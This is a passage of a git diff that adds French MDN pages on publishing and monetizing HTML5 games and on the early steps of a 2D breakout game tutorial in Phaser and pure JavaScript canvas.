Vous pouvez vendre des t-shirts, des autocollants ou d'autres gadgets — certains développeurs gagnent plus d'argent avec la marchandise qu'avec les jeux eux-mêmes, mais cela ne fonctionne que sur des jeux très populaires et reconnaissables comme Angry Birds. Pourtant, cela pourrait être un autre petit flux de revenus passifs. Plus vos revenus sont diversifiés, meilleure est la stabilité de votre entreprise.

+ +

Donations

+ +

Lorsque tout le reste échoue, vous pouvez essayer de mettre un bouton de don sur la page de votre jeu et demander le soutien de la communauté. Parfois, cela fonctionne, mais seulement si le joueur vous connaît et estime que cela vous aidera dans votre situation. C'est pourquoi il est si important de gérer soigneusement votre communauté. Cela a fonctionné avec la compétition js13kGames — chaque participant a reçu un t-shirt gratuit, et certains ont même rendu quelques dollars pour l'aider à continuer dans les années à venir.

+ +

Résumé

+ +

Il existe de nombreuses façons de gagner de l'argent - tout ce qui s'applique au monde du jeu AAA "normal" peut être plus ou moins appliqué aux jeux HTML5 occasionnels. Cependant, vous pouvez également vous concentrer sur la vente de licences, la création de marque ou le partage des revenus grâce aux publicités. C'est à vous de décider quel chemin vous allez suivre.

diff --git a/files/fr/games/publishing_games/index.html b/files/fr/games/publishing_games/index.html new file mode 100644 index 0000000000..3f6d0f8a09 --- /dev/null +++ b/files/fr/games/publishing_games/index.html @@ -0,0 +1,28 @@ +--- +title: Publier des jeux +slug: Jeux/Publier_jeux +tags: + - HTML5 + - JavaScript + - Jeux + - Monétisation + - Promotion + - distribution + - publication +translation_of: Games/Publishing_games +--- +
{{GamesSidebar}}
+ +

Les jeux en HTML5 ont un avantage certain face à ceux écrits dans un langage natif en terme de publication et de distribution — vous avez en effet la liberté de distribuer, promouvoir et monétiser votre jeu sur Internet au lieu de voir chaque version de votre jeu emprisonnée au sein d'un store propriétaire. En étant sur le web, vous bénéficiez automatiquement d'un jeu multi plate-formes. Cette série d'articles vous présente les options dont vous disposez afin de publier et de distribuer votre jeu et de gagner quelque chose en attendant de faire de votre jeu un incontournable.

+ +

Distribuer votre jeu

+ +

Vous avez déjà suivi un tutoriel ou deux et vous avez créé un jeu en HTML5 ? Génial ! L'article Distribuer votre jeu vous indique tout ce que vous devez savoir sur les moyens de partager votre toute dernière création — y compris comment vous pouvez l'héberger en ligne, le proposer sur les boutiques en ligne ouvertes, et le soumettre aux stores propriétaires comme Google Play ou Apple Store.

+ +

Promouvoir votre jeu

+ +

Développer et finaliser un jeu ne suffit pas. Vous devez informer le monde que vous avez réalisé quelque chose d'intéressant, avec lequel les gens auront plaisir à jouer. Il y a de nombreux moyens de Promouvoir votre jeu — beaucoup d'entre-eux sont gratuits — et donc, même si vous avez du mal à gagner votre vie en tant que développeur indépendant avec un budget nul, vous disposez malgré tout de nombreux moyens d'informer les gens de votre nouveau super jeu. Faire la promotion de votre jeu vous aidera beaucoup notamment si vous souhaitez le monétiser par la suite, il est donc important de le faire correctement.

+ +

Monétiser votre jeu

+ +

Après avoir passé beaucoup de temps à coder, publier et promouvoir votre jeu, vous penserez sans doute à un moyen de rémunérer votre travail. Monétiser son jeu est essentiel à quiconque considère que le travail qu'il a réalisé pour créer son jeu est fait sérieusement par un développeur de jeux indépendant désormais capable de vivre de ses créations. Découvrez quelles sont vos options. La technologie est suffisamment avancée, la question est de savoir quelle approche sera la meilleure pour vous.

diff --git a/files/fr/games/tutorials/2d_breakout_game_phaser/index.html b/files/fr/games/tutorials/2d_breakout_game_phaser/index.html new file mode 100644 index 0000000000..43897c6574 --- /dev/null +++ b/files/fr/games/tutorials/2d_breakout_game_phaser/index.html @@ -0,0 +1,63 @@ +--- +title: 2D breakout game using Phaser +slug: Games/Workflows/2D_breakout_game_Phaser +translation_of: Games/Tutorials/2D_breakout_game_Phaser +--- +
{{GamesSidebar}}
+ +
{{IncludeSubnav("/en-US/docs/Games")}}
+ +

{{Next("Games/Workflows/2D_Breakout_game_Phaser/Initialize_the_framework")}}

+ +

Dans ce tutoriel étape par étape, nous créons un simple jeu mobile MDN Breakout écrit en JavaScript, en utilisant le framework Phaser.

+ + + +

Chaque étape a des échantillons modifiables, disponibles pour jouer avec, de sorte que vous pouvez voir à quoi devraient ressembler les étapes intermédiaires. Vous apprendrez les bases de l'utilisation du framework Phaser pour implémenter les mécanismes fondamentaux du jeu comme le rendu et le mouvement des images, la détection des collisions, les mécanismes de contrôle, les fonctions d'aide spécifiques aux cadres, les animations et les interpolations, les états gagnants et perdants.

+ + + +

Pour tirer le meilleur parti de cette série d'articles, vous devez déjà avoir des connaissances de base ou intermédiaires en JavaScript. Après avoir parcouru ce tutoriel, vous devriez être capable de construire vos propres jeux Web simples avec Phaser.

+ +

Gameplay screen from the game MDN Breakout created with Phaser where you can use your paddle to bounce the ball and destroy the brick field, with keeping the points and lives.

+ +

Détails de la leçon

+ +

Toutes les leçons - et les différentes versions du jeu MDN Breakout game que nous construisons ensemble - sont disponibles sur GitHub :

+ +
    +
  1. Initialiser le cadre
    2. +
  2. Mise à l'échelle
    3. +
  3. Charger les actifs et les imprimer à l'écran
    4. +
  4. Déplacer le ballon
    5. +
  5. Physique
    6. +
  6. Rebondir sur les murs
    7. +
  7. Pagaie et commandes du joueur
    8. +
  8. Fin de la partie
    9. +
  9. Construisez le champ de briques
    10. +
  10. Détection de collision
    11. +
  11. Le score
    12. +
  12. Gagnez la partie
    13. +
  13. Extra vies
    14. +
  14. Animations et préadolescents
    15. +
  15. Boutons
    16. +
  16. Mode de jeu aléatoire
    17. +
+ +

Comme note sur les parcours d'apprentissage — en commençant par le JavaScript pur est le meilleur moyen d'acquérir une solide connaissance du développement de jeux en ligne. Si vous n'êtes pas déjà familier avec le développement de jeux en JavaScript pur, nous vous suggérons de travailler d'abord avec l'homologue de cette série, 2D breakout game using pure JavaScript.

+ + + +

Après cela, vous pouvez choisir n'importe quel framework que vous voulez et l'utiliser pour vos projets ; nous avons choisi Phaser car c'est un bon framework solide, avec un bon support et une communauté disponible, et un bon ensemble de plugins. Les cadres accélèrent le temps de développement et aident à prendre soin des parties ennuyeuses, vous permettant ainsi de vous concentrer sur les choses amusantes. Cependant, les frameworks ne sont pas toujours parfaits, donc si quelque chose d'inattendu se produit ou si vous voulez écrire des fonctionnalités que le framework ne fournit pas, vous aurez besoin de connaissances en JavaScript pur.

+ + + +
+

Note: Cette série d'articles peut être utilisée comme matériel pour des ateliers pratiques de développement de jeux. Vous pouvez également utiliser la fonction Gamedev Phaser Content Kit basé sur ce tutoriel si vous voulez donner une conférence sur le développement d'un jeu avec Phaser.

+
+ +

Prochaines étapes

+ +

Ok, commençons ! Aller à la première partie de la série — Initialize the framework.

+ +

{{Next("Games/Workflows/2D_Breakout_game_Phaser/Initialize_the_framework")}}

diff --git a/files/fr/games/tutorials/2d_breakout_game_pure_javascript/bounce_off_the_walls/index.html b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/bounce_off_the_walls/index.html new file mode 100644 index 0000000000..1f2e90da51 --- /dev/null +++ b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/bounce_off_the_walls/index.html @@ -0,0 +1,112 @@ +--- +title: Faire rebondir la balle sur les murs +slug: >- + Games/Workflows/2D_Breakout_game_pure_JavaScript/Faire_rebondir_la_balle_sur_les_murs +tags: + - Animation + - Canvas + - Débutant + - Exemple + - JavaScript + - Jeux + - Tuto + - Tutoriel + - detection + - graphique +translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Bounce_off_the_walls +--- +
{{GamesSidebar}}
+ +
{{IncludeSubnav("/en-US/docs/Games")}}
+ +

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Move_the_ball", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Paddle_et_contr%C3%B4le_clavier")}}

+ +
+

C'est la 3ème étape sur 10 de ce tutoriel Gamedev Canvas. Vous pouvez retrouver le code source de cette leçon sur Gamedev-Canvas-workshop/lesson3.html.

+
+ +

C'est agréable de voir notre balle bouger, mais elle disparaît rapidement de l'écran, ce qui limite le plaisir que nous pouvons avoir avec elle ! Pour y pallier, nous allons mettre en place une détection de collision très simple (qui sera expliquée plus tard en détail) pour faire rebondir la balle sur les quatre bords de la toile.

+ +

Détection des collisions

+ +

Pour détecter la collision, nous vérifierons si la balle touche (entre en collision avec) le mur et, si c'est le cas, nous modifierons la direction de son mouvement en conséquence.
+
+ Pour faciliter les calculs, nous allons définir une variable appelée ballRadius qui contiendra le rayon du cercle dessiné et sera utilisée pour les calculs. Ajoutez cette variable à votre code, quelque part en dessous des déclarations de variables existantes :
+  

+ +
var ballRadius = 10;
+ +

Mettez maintenant à jour la ligne qui dessine la balle à l'intérieur de la fonction drawBall() :

+ +
ctx.arc(x, y, ballRadius, 0, Math.PI*2);
+ +

Rebondir en haut et en bas

+ +

Il y a 4 murs en tout mais nous allons d'abord nous pencher sur le mur du haut. Nous devons, à chaque rafraichissement du canvas, regarder si la balle touche le bord du haut. Si c'est le cas, alors nous devons inverser la direction de la balle pour créer un effet de limite de zone de jeu. Il ne faut surtout pas oublier que le point d'origine est en haut à gauche ! Nous pouvons donc écrire :

+ +
if(y + dy < 0) {
+    dy = -dy;
+}
+ +

Si la valeur y de la position de la balle est inférieure à zéro, changez la direction du mouvement sur l'axe y en le rendant égal à son inverse. Si la balle se déplaçait vers le haut à une vitesse de 2 pixels par image, elle se déplacera maintenant "vers le haut" à une vitesse de -2 pixels, ce qui équivaut en fait à se déplacer vers le bas à une vitesse de 2 pixels par image.
+
+ Le code ci-dessus traite du rebondissement de la balle sur le bord supérieur, alors traitons maintenant le bord inférieur :

+ +
if(y + dy > canvas.height) {
+    dy = -dy;
+}
+ +

Si la position en y de la balle est supérieure à  la hauteur du canvas (soit 480 pixels dans cette leçon) on inverse encore la vitesse de la balle.

+ +

On peut rassembler les deux conditions en une grâce au "ou" qui s'écrit || en JavaScript :

+ +
if(y + dy > canvas.height || y + dy < 0) {
+    dy = -dy;
+}
+ +

Si une des deux conditions est vérifiée, alors la vitesse est inversée. Essayez de créer votre propre code pour la gauche et la droite avant de passer à la prochaine sous-partie. Vous verrez que le principe est le même.

+ +

Rebondir à gauche et à droite

+ +

Nous avons couvert les bords supérieur et inférieur, alors pensons à ceux de gauche et de droite. C'est très similaire en fait, il suffit de répéter les instructions pour x au lieu de y :

+ +
if(x + dx > canvas.width || x + dx < 0) {
+    dx = -dx;
+}
+
+if(y + dy > canvas.height || y + dy < 0) {
+    dy = -dy;
+}
+ +

À ce stade, vous devez insérer le bloc de code ci-dessus dans la fonction draw(), juste avant l'accolade de fermeture.

+ +

La balle disparaît toujours!

+ +

Testez votre code à ce stade, et vous serez impressionné — nous avons maintenant une balle qui rebondit sur les quatre bords de la toile ! Mais nous avons un autre problème — lorsque la balle frappe un mur, elle s'y enfonce légèrement avant de changer de direction :

+ +

+ +

C'est parce que nous calculons le point de collision entre le mur et le centre de la balle, alors que nous devrions le faire pour sa circonférence. La balle devrait rebondir juste après avoir touché le mur, et non pas lorsqu'elle est déjà à mi-chemin dans le mur, alors ajustons un peu nos déclarations pour inclure cela. Mettez à jour le dernier code que vous avez ajouté :

+ +
if(x + dx > canvas.width-ballRadius || x + dx < ballRadius) {
+    dx = -dx;
+}
+if(y + dy > canvas.height-ballRadius || y + dy < ballRadius) {
+    dy = -dy;
+}
+ +

Lorsque la distance entre le centre de la balle et le bord du mur est exactement la même que le rayon de la balle, cela change la direction du mouvement. Soustraire le rayon de la largeur d'un bord et l'ajouter à l'autre nous donne l'impression d'une détection de collision correcte — la balle rebondit sur les murs comme elle devrait le faire.

+ +

Comparez votre code

+ +

Vérifions encore une fois le code fini pour cette partie par rapport à ce que vous avez, et jouons une partie :

+ +

{{JSFiddleEmbed("https://jsfiddle.net/end3r/redj37dc/","","395")}}

+ +
+

Exercice: essayez de changer la couleur de la balle à chaque fois que celle-ci tape un mur.

+
+ +

Dans le prochain chapitre

+ +

Nous sommes maintenant arrivés au stade où notre balle se déplace et reste sur le plateau de jeu. Dans le quatrième chapitre, nous examinerons la mise en place d'une raquette contrôlable - voir Raquette et contrôle au clavier. {PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Move_the_ball", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Paddle_et_contr%C3%B4le_clavier")}}

diff --git a/files/fr/games/tutorials/2d_breakout_game_pure_javascript/build_the_brick_field/index.html b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/build_the_brick_field/index.html new file mode 100644 index 0000000000..1d193d6045 --- /dev/null +++ b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/build_the_brick_field/index.html @@ -0,0 +1,118 @@ +--- +title: Créer les briques +slug: Games/Workflows/2D_Breakout_game_pure_JavaScript/Build_the_brick_field +tags: + - Canvas + - Casse-Brique + - Débutant + - JavaScript + - Jeu + - Tutoriel + - graphique +translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Build_the_brick_field +--- +
{{GamesSidebar}}
+ +
{{IncludeSubnav("/en-US/docs/Games")}}
+ +

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Game_over", "Games/Workflows/2D_Breakout_game_pure_JavaScript/detection_colisions")}}

+ +
+

Il s'agit de la 6ème étape sur 10 du Gamedev Canvas tutorial. Vous pouvez trouver le code source après avoir complété cette leçon à : Gamedev-Canvas-workshop/lesson6.html.

+
+ +

Après avoir modifié la mécanique du Gameplay, nous sommes maintenant en mesure de perdre — Et ça c'est top car on a enfin l'impression de jouer à un vrai jeu. Cependant, ça devient vite ennuyeux si la balle ne fait que rebondir sur la raquette. Ce dont a vraiment besoin un jeu de casse-brique c'est des briques à détruire avec la balle. Et c'est ce que nous allons faire maintenant.

+ +

Mettre en place les variables "Brique"

+ +

Le principal objectif de cette leçon est d'avoir quelques lignes de code pour afficher les briques, en utilisant une boucle imbriquée qui va parcourir un tableau à deux dimensions. Cependant nous avons besoin de définir quelques variables pour stocker des informations décrivant les briques, telles que leur largeur, leur hauteur, les colonnes et les lignes, etc. Ajoutez les lignes suivantes dans votre code, sous les variables préalablement déclarées.

+ +
var brickRowCount = 3;
+var brickColumnCount = 5;
+var brickWidth = 75;
+var brickHeight = 20;
+var brickPadding = 10;
+var brickOffsetTop = 30;
+var brickOffsetLeft = 30;
+ +

Ici nous avons défini dans l'ordre le nombre de lignes et de colonnes de briques, mais également une hauteur, une largeur et un espacement (padding) entre les briques pour qu'elles ne se touchent pas entre elles et qu'elles ne commencent pas a être tracées sur le bord du canevas.

+ +

Nous allons placer nos briques dans un tableau à deux dimensions. Il contiendra les colonnes de briques (c), qui à leur tour contiendront les lignes de briques (r) qui chacune contiendront un objet défini par une position x et y pour afficher chaque brique sur l'écran.
+ Ajoutez le code suivant juste en-dessous des variables :

+ +
var bricks = [];
+for(var c=0; c<brickColumnCount; c++) {
+    bricks[c] = [];
+    for(var r=0; r<brickRowCount; r++) {
+        bricks[c][r] = { x: 0, y: 0 };
+    }
+}
+ +

Le code ci-dessus va parcourir les lignes et les colonnes et créer de nouvelles briques. REMARQUE : les objets briques seront également utilisés plus tard afin de détecter les collisions.

+ +

Logique de dessin des briques

+ +

Maintenant créons une fonction pour parcourir toutes les briques dans le tableau et les dessiner sur l'écran. Notre code pourrait ressembler à ça :

+ +
function drawBricks() {
+    for(var c=0; c<brickColumnCount; c++) {
+        for(var r=0; r<brickRowCount; r++) {
+            bricks[c][r].x = 0;
+            bricks[c][r].y = 0;
+            ctx.beginPath();
+            ctx.rect(0, 0, brickWidth, brickHeight);
+            ctx.fillStyle = "#0095DD";
+            ctx.fill();
+            ctx.closePath();
+        }
+    }
+}
+ +

Une nouvelle fois, nous parcourons les colonnes et les lignes pour attribuer une position x et y à chaque brique, et nous dessinons les briques — de taille : brickWidth x brickHeight  — sur le canevas, pour chaque itération de la boucle. Le problème est que nous les affichons toutes au même endroit, aux coordonnées (0,0). Ce dont nous avons besoin d'inclure ce sont quelques calculs qui vont définir la position x et y de chaque brique à chaque passage dans la boucle :

+ +
var brickX = (c*(brickWidth+brickPadding))+brickOffsetLeft;
+var brickY = (r*(brickHeight+brickPadding))+brickOffsetTop;
+ +

Chaque position brickX est déterminée par brickWidth + brickPadding, multiplié par le nombre de colonnes, c, plus brickOffsetLeft; la logique pour brickY est identique excepté qu'on utilise pour les ligne les valeurs r,brickHeight et brickOffsetTop. Maintenant chaque brique peut être dessinée à la bonne place - en lignes et colonnes, avec un espacement entre les briques, avec un espace par rapport à la gauche et au haut du contour du canvas.

+ +

La version finale de la fonction drawBricks(), après avoir assigné les valeurs brickX et brickY comme coordonnées, plutot que (0,0) à chaque fois, va ressembler à ceci  — ajouter la fonction ci-dessous après drawPaddle() :

+ +
function drawBricks() {
+    for(var c=0; c<brickColumnCount; c++) {
+        for(var r=0; r<brickRowCount; r++) {
+            var brickX = (c*(brickWidth+brickPadding))+brickOffsetLeft;
+            var brickY = (r*(brickHeight+brickPadding))+brickOffsetTop;
+            bricks[c][r].x = brickX;
+            bricks[c][r].y = brickY;
+            ctx.beginPath();
+            ctx.rect(brickX, brickY, brickWidth, brickHeight);
+            ctx.fillStyle = "#0095DD";
+            ctx.fill();
+            ctx.closePath();
+        }
+    }
+}
+ +

Afficher les briques

+ +

La dernière chose à faire dans cette leçon est d'ajouter un appel à drawBricks() quelque part dans la fonction draw(), préférablement au début, entre le nettoyage du canevas et le dessin de la balle. Ajoutez la ligne suivante juste en dessous de drawBall() :

+ +
drawBricks();
+
+ +

Comparez votre code

+ +

À ce stade, le jeu a gagné un peu en intérêt :

+ +

{{JSFiddleEmbed("https://jsfiddle.net/yumetodo/t1zqmzLp/","","395")}}

+ +
+

Exercice : essayez de changer le nombre de briques dans une colonne ou dans une ligne ou bien leur position.

+
+ +

Prochaines étapes

+ +

Nous avons donc maintenant des briques !  
+ Mais la balle n'a toujours aucune interaction avec elles. Nous allons donc changer ça dans le chapitre sept : Détection des collisions 

+ +

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Game_over", "Games/Workflows/2D_Breakout_game_pure_JavaScript/detection_colisions")}}

diff --git a/files/fr/games/tutorials/2d_breakout_game_pure_javascript/collision_detection/index.html b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/collision_detection/index.html new file mode 100644 index 0000000000..01e210ed5e --- /dev/null +++ b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/collision_detection/index.html @@ -0,0 +1,136 @@ +--- +title: Détection de collisions +slug: Games/Workflows/2D_Breakout_game_pure_JavaScript/detection_colisions +tags: + - Canvas + - JavaScript + - Jeu + - collision + - detection + - totoriel +translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Collision_detection +--- +
{{GamesSidebar}}
+ +
{{IncludeSubnav("/en-US/docs/Games")}}
+ +

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Build_the_brick_field", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win")}}

+ +
+

Il s'agit de la 7ème étape sur 10 du Gamedev Canvas tutorial. Vous pouvez trouver le code source tel qu'il devrait être après avoir complété cette leçon à : Gamedev-Canvas-workshop/lesson7.html.

+
+ +

Les briques apparaissent à l'écran, mais le jeu n'est toujours pas intéressant car la balle les traverse. Nous devons ajouter une détection des collisions afin qu’elle puisse rebondir sur les briques et les casser.

+ +

C'est notre décision, bien sûr, de mettre ça en œuvre, mais il peut être difficile de calculer si la balle touche le rectangle ou non, car il n'y a pas de fonction d'aide dans Canvas pour cela. Dans l'intérêt de ce tutoriel, nous le ferons de la manière la plus simple possible. Nous vérifierons si le centre de la balle entre en collision avec l'une des briques données. Cela ne donnera pas toujours un résultat parfait, et il existe des moyens beaucoup plus sophistiqués de détecter des collisions, mais cela fonctionnera assez bien pour vous apprendre les concepts de base.

+ +

Une fonction de détection de collision

+ +


+ Pour commencer, nous voulons créer une fonction de détection de collision qui va parcourir toutes les briques et comparer la position de chaque brique avec les coordonnées de la balle lorsque chaque image est dessinée. Pour une meilleure lisibilité du code, nous allons définir la variable b pour stocker l’objet brique dans la boucle de la détection de collision:

+ +
function collisionDetection() {
+    for(var c=0; c<brickColumnCount; c++) {
+        for(var r=0; r<brickRowCount; r++) {
+            var b = bricks[c][r];
+            // calculs
+        }
+    }
+}
+ +

Si le centre de la balle se trouve à l'intérieur des coordonnées d'une de nos briques, nous changerons la direction de la balle. Pour que le centre de la balle soit à l'intérieur de la brique, les quatre affirmations suivantes doivent être vraies :

+ +
    +
  • La position x de la balle est supérieure à la position x de la brique.
    • +
  • La position x de la balle est inférieure à la position x de la brique plus sa largeur.
    • +
  • La position y de la balle est supérieure à la position y de la brique.
    • +
  • La position y de la balle est inférieure à la position y de la brique plus sa hauteur.
    • +
+ +

Écrivons cela sous forme de code:

+ +
function collisionDetection() {
+    for(var c=0; c<brickColumnCount; c++) {
+        for(var r=0; r<brickRowCount; r++) {
+            var b = bricks[c][r];
+            if(x > b.x && x < b.x+brickWidth && y > b.y && y < b.y+brickHeight) {
+                dy = -dy;
+            }
+        }
+    }
+}
+ +

Ajoutez le bloc ci-dessus à votre code, sous la fonction keyUpHandler() .

+ +

Faire disparaître les briques après qu'elles aient été touchées

+ +

Le code ci-dessus fonctionnera comme vous le souhaitez et la balle changera de direction. Le problème est que les briques restent là où elles sont. Nous devons trouver un moyen de nous débarrasser de celles que nous avons déjà touchées avec la balle. Nous pouvons le faire en ajoutant un paramètre supplémentaire pour indiquer si nous voulons ou non afficher chaque brique à l’écran. Dans la partie du code où nous initialisons les briques, ajoutons une propriété status à chaque brique. Mettez à jour la partie suivante du code comme indiqué par la ligne en évidence:

+ +
var bricks = [];
+for(var c=0; c<brickColumnCount; c++) {
+    bricks[c] = [];
+    for(var r=0; r<brickRowCount; r++) {
+        bricks[c][r] = { x: 0, y: 0, status: 1 };
+    }
+}
+ +

Nous vérifierons ensuite la valeur de la propriété status de chaque brique dans la fonction drawBricks() avant de la dessiner. Si status vaut 1, dessinez-la, mais s'il vaut 0, la balle a été touchée et nous ne voulons pas la voir sur l'écran. Mettez à jour votre fonction drawBricks() comme suit:

+ +
function drawBricks() {
+    for(var c=0; c<brickColumnCount; c++) {
+        for(var r=0; r<brickRowCount; r++) {
+            if(bricks[c][r].status == 1) {
+                var brickX = (c*(brickWidth+brickPadding))+brickOffsetLeft;
+                var brickY = (r*(brickHeight+brickPadding))+brickOffsetTop;
+                bricks[c][r].x = brickX;
+                bricks[c][r].y = brickY;
+                ctx.beginPath();
+                ctx.rect(brickX, brickY, brickWidth, brickHeight);
+                ctx.fillStyle = "#0095DD";
+                ctx.fill();
+                ctx.closePath();
+            }
+        }
+    }
+}
+ +

Suivi et mise à jour de l'état dans la fonction de détection de collision

+ +

Nous devons maintenant impliquer la propriété de status de brique dans la fonction collisionDetection(): si la brique est active (son statut est 1), nous vérifierons si une collision a lieu ; Si une collision se produit, nous allons définir l'état de la brique donnée sur 0 afin qu'elle ne soit pas affichée à l'écran. Mettez à jour votre fonction collisionDetection() comme indiqué ci-dessous:

+ +
function collisionDetection() {
+    for(var c=0; c<brickColumnCount; c++) {
+        for(var r=0; r<brickRowCount; r++) {
+            var b = bricks[c][r];
+            if(b.status == 1) {
+                if(x > b.x && x < b.x+brickWidth && y > b.y && y < b.y+brickHeight) {
+                    dy = -dy;
+                    b.status = 0;
+                }
+            }
+        }
+    }
+}
+ +

Activer notre détection de collision

+ +

La dernière chose à faire est d’ajouter un appel à la fonction collisionDetection () à notre fonction draw() principale. Ajoutez la ligne suivante à la fonction draw (), juste en dessous de l'appel drawPaddle():

+ +
collisionDetection();
+
+ +

Comparez votre code

+ +

La détection de collision de la balle est maintenant vérifiée sur chaque image, avec chaque brique. Maintenant, nous pouvons détruire des briques ! : -

+ +

{{JSFiddleEmbed("https://jsfiddle.net/yumetodo/mkwtxgc3/242/","","395")}}

+ +
+

Exercice: changez la couleur de la balle lorsqu'elle frappe une brique.

+
+ +

Prochaine étape

+ +

Nous ne sommes plus très loin de la fin ;  poursuivons ! Dans le huitième chapitre, nous verrons comment Track the score and win.

+ +

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Build_the_brick_field", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win")}}

diff --git a/files/fr/games/tutorials/2d_breakout_game_pure_javascript/create_the_canvas_and_draw_on_it/index.html b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/create_the_canvas_and_draw_on_it/index.html new file mode 100644 index 0000000000..12603405c0 --- /dev/null +++ b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/create_the_canvas_and_draw_on_it/index.html @@ -0,0 +1,117 @@ +--- +title: Créer l'élément Canvas et l'afficher +slug: >- + Games/Workflows/2D_Breakout_game_pure_JavaScript/creer_element_canvas_et_afficher +tags: + - 2D + - Canvas + - Débutant + - HTML + - JavaScript + - Jeux + - Tutoriel +translation_of: >- + Games/Tutorials/2D_Breakout_game_pure_JavaScript/Create_the_Canvas_and_draw_on_it +--- +
{{GamesSidebar}}
+ +
{{IncludeSubnav("/fr/docs/Jeux")}}
+ +

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Move_the_ball")}}

+ +
+

C'est la 1ère étape sur 10 de ce tutoriel Gamedev Canvas. Vous pouvez retrouver le code source de cette leçon sur Gamedev-Canvas-workshop/lesson1.html.

+
+ +

Avant d'écrire les fonctionnalités de notre jeu, nous devons créer une structure où le jeu sera rendu. C'est possible en utilisant HTML et l'élément {{htmlelement("canvas")}}.

+ +

La page HTML du jeu

+ +

La structure de la page HTML est vraiment simple, car tout le jeu sera contenu dans l'élément {{htmlelement("canvas")}}. Avec votre éditeur de texte préféré, créez un nouveau fichier HTML, sauvegardez-le sous le nom index.html, et ajoutez-y le code suivant :

+ +
<!DOCTYPE html>
+<html>
+<head>
+    <meta charset="utf-8" />
+    <title>Gamedev Canvas Workshop</title>
+    <style>
+    	* { padding: 0; margin: 0; }
+    	canvas { background: #eee; display: block; margin: 0 auto; }
+    </style>
+</head>
+<body>
+
+<canvas id="myCanvas" width="480" height="320"></canvas>
+
+<script>
+	// JavaScript code goes here
+</script>
+
+</body>
+</html>
+ +

Dans l'en-tête, nous avons défini l'encodage des caractères (charset), le titre  {{htmlelement("title")}} et quelques règles CSS très simples. Le corps contient les éléments {{htmlelement("canvas")}} et {{htmlelement("script")}}. L'élément {{htmlelement("canvas")}} contiendra le rendu du jeu et l'élément {{htmlelement("script")}} l'emplacement du code JavaScript pour contrôler le jeu. L'élément {{htmlelement("canvas")}} a un identifiant nommé myCanvas qui permettra de le retrouver facilement en JavaScript, et possède des dimensions de 480 pixels de longueur et 320 pixels de hauteur. Tout le code JavaScript que nous allons écrire dans ce tutoriel sera contenu entre la balise ouvrante <script> et la balise fermante </script>.

+ +

Les bases de Canvas

+ +

Pour utiliser l'élément {{htmlelement("canvas")}}, pour le rendu graphique de notre jeu, nous devons d'abord en donner la référence à JavaScript. Ajoutez le code après la balise ouvrante <script>.

+ +
var canvas = document.getElementById("myCanvas");
+var ctx = canvas.getContext("2d");
+ +

Ici nous avons enregistré la référence à l'élément {{htmlelement("canvas")}} dans une variable nommée canvas. Ensuite, nous créons la variable ctx pour stocker le contexte de rendu 2D — l'outil réel que nous pouvons utiliser pour peindre sur Canvas.

+ +

Voyons un exemple de code qui imprime un carré rouge sur le canevas. Ajoutez ceci en dessous de vos lignes précédentes de JavaScript, puis chargez votre index.html dans un navigateur pour l'essayer.

+ +
ctx.beginPath();
+ctx.rect(20, 40, 50, 50);
+ctx.fillStyle = "#FF0000";
+ctx.fill();
+ctx.closePath();
+ +

Toutes les instructions sont entre les méthodes  {{domxref("CanvasRenderingContext2D.beginPath()","beginPath()")}} et {{domxref("CanvasRenderingContext2D.closePath()","closePath()")}} . Nous définissons un rectangle en utilisant {{domxref("CanvasRenderingContext2D.rect()","rect()")}} : les deux premières valeurs spécifient les coordonnées du coin supérieur gauche du rectangle tandis que les deux suivantes spécifient la largeur et la hauteur du rectangle. Dans notre cas, le rectangle est peint à 20 pixels du côté gauche de l'écran et à 40 pixels du haut, et a une largeur de 50 pixels et une hauteur de 50 pixels, ce qui en fait un carré parfait. La propriété {{domxref("CanvasRenderingContext2D.fillStyle","fillStyle")}} stocke une couleur qui sera utilisée par la méthode {{domxref("CanvasRenderingContext2D.fill()","fill()")}} pour peindre le carré en rouge.

+ +

Nous ne sommes pas limités aux rectangles, voici un code pour imprimer un cercle vert. Essayez d'ajouter ceci au bas de votre JavaScript, puis sauvegardez et rafraîchissez :

+ +
ctx.beginPath();
+ctx.arc(240, 160, 20, 0, Math.PI*2, false);
+ctx.fillStyle = "green";
+ctx.fill();
+ctx.closePath();
+ +

Comme nous pouvons le voir, nous utilisons à nouveau les méthodes {{domxref("CanvasRenderingContext2D.beginPath()","beginPath()")}} et {{domxref("CanvasRenderingContext2D.closePath()","closePath()")}} . Entre elles, la partie la plus importante du code ci-dessus est la méthode {{domxref("CanvasRenderingContext2D.arc()","arc()")}} . Elle comporte six paramètres :

+ +
    +
  • les coordonnées x ety du centre de l'arc
    • +
  • rayon de l'arc
    • +
  • l'angle de départ et l'angle de fin (pour finir de dessiner le cercle, en radiant)
    • +
  • direction du dessin (false(faux) pour le sens des aiguilles d'une montre, la valeur par défaut, ou true (vrai) pour le sens inverse). Ce dernier paramètre est facultatif.
    • +
+ +

La propriété {{domxref("CanvasRenderingContext2D.fillStyle","fillStyle")}} semble différente par rapport à l'exemple précédent. C'est parce que, tout comme avec CSS, la couleur peut être spécifiée sous la forme d'une valeur hexadécimale, d'un mot-clé, de la fonction rgba () (RVBA) ou de toute autre méthode disponible pour les couleurs.

+ +

